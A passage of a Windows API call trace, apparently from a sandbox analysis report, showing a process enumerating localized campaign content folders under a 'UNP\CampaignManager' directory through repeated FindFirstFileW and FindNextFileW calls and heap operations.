ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0290.862] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0290.862] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0290.863] GetProcessHeap () returned 0xaf0000 [0290.863] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0290.863] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES", cAlternateFileName="")) returned 1 [0290.863] GetProcessHeap () returned 0xaf0000 [0290.863] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0290.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0290.864] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa77fb761, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.864] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0290.864] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0290.864] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0290.864] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0290.864] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0290.864] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0290.865] GetProcessHeap () returned 0xaf0000 [0290.865] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0290.865] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-ES-valencia", cAlternateFileName="CA-ES-~1")) returned 1 [0290.865] GetProcessHeap () returned 0xaf0000 [0290.865] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0290.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0290.866] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78433f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e34a1b4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.866] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0290.867] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0290.867] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0290.867] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0290.868] GetProcessHeap () returned 0xaf0000 [0290.868] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0290.868] GetProcessHeap () returned 0xaf0000 [0290.868] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0290.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa78fe34b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0290.871] GetProcessHeap () returned 0xaf0000 [0290.871] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0290.871] GetProcessHeap () returned 0xaf0000 [0290.871] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0290.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0290.874] GetProcessHeap () returned 0xaf0000 [0290.874] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0291.090] GetProcessHeap () returned 0xaf0000 [0291.090] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0291.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0291.093] GetProcessHeap () returned 0xaf0000 [0291.093] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0291.093] GetProcessHeap () returned 0xaf0000 [0291.093] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0291.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0291.095] GetProcessHeap () returned 0xaf0000 [0291.095] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0291.095] GetProcessHeap () returned 0xaf0000 [0291.095] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0291.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0291.097] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0291.097] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0291.097] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0291.097] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0291.097] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0291.097] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0291.097] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0291.099] GetProcessHeap () returned 0xaf0000 [0291.099] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0291.099] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0291.099] GetProcessHeap () returned 0xaf0000 [0291.099] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0291.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0291.100] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0291.100] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xe4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0291.100] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0291.100] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0291.101] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0291.101] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0291.101] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0291.102] GetProcessHeap () returned 0xaf0000 [0291.102] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0291.102] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0291.102] GetProcessHeap () returned 0xaf0000 [0291.102] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0291.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0291.103] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0291.103] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: 